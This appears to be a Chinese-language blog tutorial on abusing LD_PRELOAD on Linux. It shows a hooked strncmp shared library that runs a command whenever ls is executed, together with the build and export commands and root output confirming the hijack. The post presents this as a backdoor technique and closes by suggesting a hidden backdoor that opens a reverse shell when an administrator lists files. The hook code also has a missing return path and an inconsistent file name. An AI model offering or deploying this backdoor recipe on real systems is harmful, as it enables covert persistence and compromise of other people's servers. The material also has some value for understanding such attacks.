什么是LD_PRELOAD
LD_PRELOAD 是 Linux/Unix 系统的一个环境变量,它影响程序的运行时的链接(Runtime linker),它允许在程序运行前定义优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。
如何利用LD_PRELOAD
由于 LD_PRELOAD 可以指定在程序运行前优先加载的动态链接库,那我们可以重写程序运行过程中所调用的函数并编译成动态链接库文件,然后通过指定 LD_PRELOAD 让程序优先加载的这个恶意的动态链接库,最后当程序再次运行时便会加载动态链接库中的恶意函数。具体的操作步骤如下:
- 定义与目标函数完全一样的函数,包括名称、变量及类型、返回值及类型等。
- 将包含替换函数的源码编译为动态链接库。
- 通过命令
export LD_PRELOAD="库文件路径”
,设置要优先替换动态链接库即可 - 替换结束,要还原函数调用关系,用命令
unset LD_PRELOAD
解除
一个简单的后门思路
当我们得知了一个系统命令所调用的库函数 后,我们可以重写指定的库函数进行劫持。这里我们以 ls 命令为例进行演示。
- 首先查看 ls 这一系统命令会调用哪些库函数:
[root@154-91-90-68 ~]# readelf -Ws /usr/bin/ls
Symbol table '.dynsym' contains 129 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __ctype_toupper_loc@GLIBC_2.3 (2)
2: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __uflow@GLIBC_2.2.5 (3)
3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getenv@GLIBC_2.2.5 (3)
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND cap_to_text
5: 0000000000000000 0 OBJECT GLOBAL DEFAULT UND __progname@GLIBC_2.2.5 (3)
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sigprocmask@GLIBC_2.2.5 (3)
7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND raise@GLIBC_2.2.5 (3)
8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND free@GLIBC_2.2.5 (3)
9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND localtime@GLIBC_2.2.5 (3)
10: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __mempcpy_chk@GLIBC_2.3.4 (4)
11: 0000000000000000 0 FUNC GLOBAL DEFAULT UND abort@GLIBC_2.2.5 (3)
12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __errno_location@GLIBC_2.2.5 (3)
13: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strncmp@GLIBC_2.2.5 (3)
14: 0000000000000000 0 OBJECT GLOBAL DEFAULT UND stdout@GLIBC_2.2.5 (3)
15: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _exit@GLIBC_2.2.5 (3)
16: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strcpy@GLIBC_2.2.5 (3)
17: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __fpending@GLIBC_2.2.5 (3)
18: 0000000000000000 0 FUNC GLOBAL DEFAULT UND isatty@GLIBC_2.2.5 (3)
19: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sigaction@GLIBC_2.2.5 (3)
20: 0000000000000000 0 FUNC GLOBAL DEFAULT UND iswcntrl@GLIBC_2.2.5 (3)
- 重写函数库进行劫持
如上图所示可以看到很多库函数,我们随便选择一个合适的进行重写即可,这里我选择的是 strncmp@GLIBC_2.2.5
- 编写
hook_strncmp.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
// 这个函数用来编写或运行你的后门程序
system(“id”);
}
int strncmp(const char*__s1, const char*__s2, size_t __n) {
// 这里函数的定义可以根据报错信息进行确定
if(getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}
- 执行命令编译生成
hook_strcmp.so
gcc -shared -fPIC hook_strncmp.c -o hook_strncmp.so
- 通过环境变量
LD_PRELOAD
来设置hook_strncmp.so
能被其他调用它的程序优先加载
export LD_PRELOAD=$PWD/hook_strncmp.so
- 最后执行 ls 发现成功执行了 id 命令, 说明此时成功劫持了 strncmp 函数。
[root@154-91-90-68 /]# ls
uid=0(root) gid=0(root) groups=0(root)
bin boot dev etc home lib lib64 media mnt opt patch proc root run sbin srv sys tmp usr var www
总结
利用这种思路,我们可以制作一个隐藏得 Linux 后门,比如当管理员执行 ls 命令时会反弹一个 Shell